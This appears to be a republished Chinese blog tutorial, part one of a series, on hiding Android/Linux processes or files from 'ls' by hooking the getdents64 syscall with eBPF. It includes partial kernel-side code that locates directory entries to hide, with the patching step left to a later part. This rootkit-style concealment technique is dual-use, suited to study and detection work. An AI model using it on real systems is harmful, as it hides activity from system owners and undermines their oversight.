ebpf 隐藏 Android 任意进程或任意文件实现连载 (一)

admin 2023年6月5日10:40:31评论43 views字数 4127阅读13分45秒阅读模式

本文围绕着 linux 系统 ls 命令,并实现 ebpf 内核命令拦截修改 ls 后最终效果等功能。

一、功能演示

视频演示:

二、内容介绍:

实现使用 ebpf 程序隐藏 Android 中进程信息的功能,不得不去了解 linux 内核中的文件系统,考虑到多数人的环境问题,这里的案例采用 ubuntu 系统下隐藏应用程序的进程号的案例实现。

    • 我们清楚安卓底层是 linux 系统,linux 系统一切皆文件,那么就不得不去了解清楚应用程序在执行的时候我们所需要关注的 proc 文件系统,目录下所存放的主要是当前系统运行的应用程序的进程号,可以通过下面命令进行查看,如果觉得 /proc 目录下文件过多,可以自行使用其他目录。

# 图片中包含当前系统中运行的部分应用程序的进程,本章接下来的内容,将修改 ls 命令下指定隐藏的文件。ls /proc

三、案例设计思路:

  1. 分析linux系统下 ls 命令底层调用原理

  2. 对 ls 命令内部关键系统调用进行hook拦截

  3. 劫持并修改关键系统调用的返回值


四、分析 ls 工具底层实现

ls 命令是linux 系统内置的命令行方法,可以通过使用 strace 工具打印 ls 命令发生了哪些系统调用。例如:

# 将输出的信息拉到倒数第 8 行左右,可以看到有和图片相似的内容输出strace ls

下面是对截图中部分信息的解释

# openat : 打开当前目录这个文件,这个文件比较特殊它的名字是个隐藏的  . (点) ,文件描述符返回 3openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
# newfstatat : 通过文件描述符获取到当前目录的属性newfstatat(3, "", {st_mode=S_IFDIR|0700, st_size=4096, ...}, AT_EMPTY_PATH) = 0
# getdents64 : 通过系统调用获取目录下的文件(类似于我们使用read系统调用时候,主要获取的是第二个参数 buf, getdents64 第二个参数同理,它保存着当前目录下所有文件的一个首地址,我会在更改数据的章节进行结构的分析)getdents64(3, 0x55c0e5b55a00 /* 20 entries */, 32768) = 632

五、eBPF关键代码实现原理分析 (sys_enter_getdents64 探测)

ebpf 程序代码实现仅分析内核态程序模块,代码块中将会对关键部分内容进行注释说明,下方程序模块主要目的是获取 getdents64 方法的 dirp 地址为后续工作准备。

    • 11 - 16 行,用于确定发生 getdents64 系统调用的进程是我需要的

    • 23 行,用于获取当前目录下所有文件对象的 dirp (可以理解为,目录下每个文件都是一个结构体,当前获取的 dirp 是所有文件的 连续的结构体首地址)

    • 28 行,将 dirp 地址保存到 maps 中提供给其他程序使用

       

SEC("tp/syscalls/sys_enter_getdents64")     //  我要 hook 的系统调用(hook getdents64 系统调用) int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)  // 触发的方法{    size_t pid_tgid = bpf_get_current_pid_tgid();    .......     //无关紧要代码略过    char comm[16];  //用于保存进程名  if (bpf_get_current_comm(&comm,sizeof(comm)))  //取出当前系统中发生 getdents64 系统调用的进程的名字  {    return 0;  }    char target_comm[3]="ls";     //自定义指定进程名    for (int j = 0; j < sizeof(target_comm); j++) {   //过滤进程名是不是我指定的         if (comm[j] != target_comm[j]) {   //如果进程名字不相同, return            return 0;        }    }
    int pid = pid_tgid >> 32;    unsigned int fd = ctx->args[0];     //取 fd  第一个参数    unsigned int buff_count = ctx->args[2];  // 取 linux_dirent64 总占大小  第三个参数
    // 取出 linux_dirent64 首地址, 并保存到 map中    struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1];   //第二个参数    if (dirp ==NULL)    {        return 0;    }    //保存dirp 地址到 maps 结构体中用于和其他程序 进行数据传递    bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY);      return 0;}
  • getdents64  方法原型可在命令行处使用 man 2 getdents64 查看 ,我会在劫持数据章节中对他进行深度的分析。

ssize_t getdents64(int fd, void *dirp, size_t count);

六、eBPF关键代码实现原理分析(sys_exit_getdents64 探测)

我们知道在 c 语言开发程序时候是经常使用指针的,也就意味着有时候,当使用 c 语言去获取一些数据时,会提前传入一个空的地址,当数据获取成功后在往这个地址中填充数据,getdents64  方法也是如此,所以这里使用到了探测点  sys_exit_getdents64

    • 以下程序模块将会在 getdents64 方法拿到当前目录下所有文件信息后进行一个处理工作,主要用于遍历出当前目录下所有的文件的 dirp 结构体地址,供后面的程序对这些结构体进行操作,达到隐藏文件的目的。

    • 当前代码块主要工作 是找出我要隐藏的目标文件的地址,找到后停止继续查找,在这个过程中他会不断的对 map_to_patch 进行赋值,而 map_to_patch 结构体中保存的永远是目标文件的上一个文件,这样在发生尾调用时候,被调用的程序将会拿到目标文件的上一个文件结构体的地址,并进行算法处理,更改内存达到隐藏目标的目的。

SEC("tp/syscalls/sys_exit_getdents64")int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx){    size_t pid_tgid = bpf_get_current_pid_tgid();    //取出最终的 返回值大小    int dirp_size = ctx->ret;    //如果返回值错误说明没有读取成功    if (dirp_size <= 0) {        return 0;    }
    //从 maps中取出指定pid 的值 如果地址为空,说明 这不是我们操作的进程    long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);    if (pbuff_addr == 0) {        return 0;    }
    long unsigned int buff_addr = *pbuff_addr;  //dirp 的真实内存地址    struct linux_dirent64 *dirp = 0;   //初始化 dirp 用于接收保存每个条目(当前目录下每个文件的对象信息)    int pid = pid_tgid >> 32;    short unsigned int d_reclen = 0;   //保存每个条目的大小    char filename[128];                //保存每个条目的名称    char d_type;                      //当前目录下条目的类型    unsigned int bpos = 0;            //用于计数,上一个条目到当前条目之间的大小        .......   //省略            for (int i = 0; i < 50; i ++) {  //自定义的循环次数,大于当前目录下文件总数量即可        //如果计数超过了总大小,说明目录已经被遍历完了        if (bpos >= dirp_size) {             break;        }        //每次循环后,buff_addr 地址需要进行递增,用于指向当前目录中的 下一个 文件的首地址        dirp = (struct linux_dirent64 *)(buff_addr+bpos);          //从当前遍历的文件的结构体对象中取出 当前文件在内存中的大小        bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);          //从结构体中取出 当前文件名称 长度大于当前目录下名字长度最大的文件即可        long err = bpf_probe_read_user(&filename, 128, &dirp->d_name);          //如果当前文件名字获取失败        if (err !=0)        {            //递增bpos 计数器,为获取下一个文件做准备            bpos +=d_reclen;            continue;        }        bpf_probe_read_user(&d_type, sizeof(d_type), &dirp->d_type);   //拿到当前文件的类型 分为 目录/文件        int j = 0;        //当前文件名 和我传入的文件名进行比较,判断是否是我要修改的文件   text_to_hide  变量被用户态程序提前赋值过        for (j = 0; j < text_to_hide_len; j++) {             if (filename[j] != text_to_hide[j]) {                break;            }        }        // 如果字符串比较相同的数量大于等于我要修改的文件名称,直接触发尾调用,结束当前程序模块        if (j >= text_to_hide_len) {      .......// 省略            //触发尾调用,执行真正的修改数据的程序            bpf_tail_call(ctx, &map_prog_array, PROG_02);        }        //保存当前目录下刚刚比较过的条目到 maps         long err1 = bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);        //遍历完毕后递增地址        bpos += d_reclen;    }
    ......//省略
    return 0;}

七、附

下一个章节,将会对隐藏文件的具体实现思路进行详细分析。

 

原文始发于微信公众号(None安全团队):ebpf 隐藏 Android 任意进程或任意文件实现连载 (一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月5日10:40:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ebpf 隐藏 Android 任意进程或任意文件实现连载 (一)https://cn-sec.com/archives/1784061.html

发表评论

匿名网友 填写信息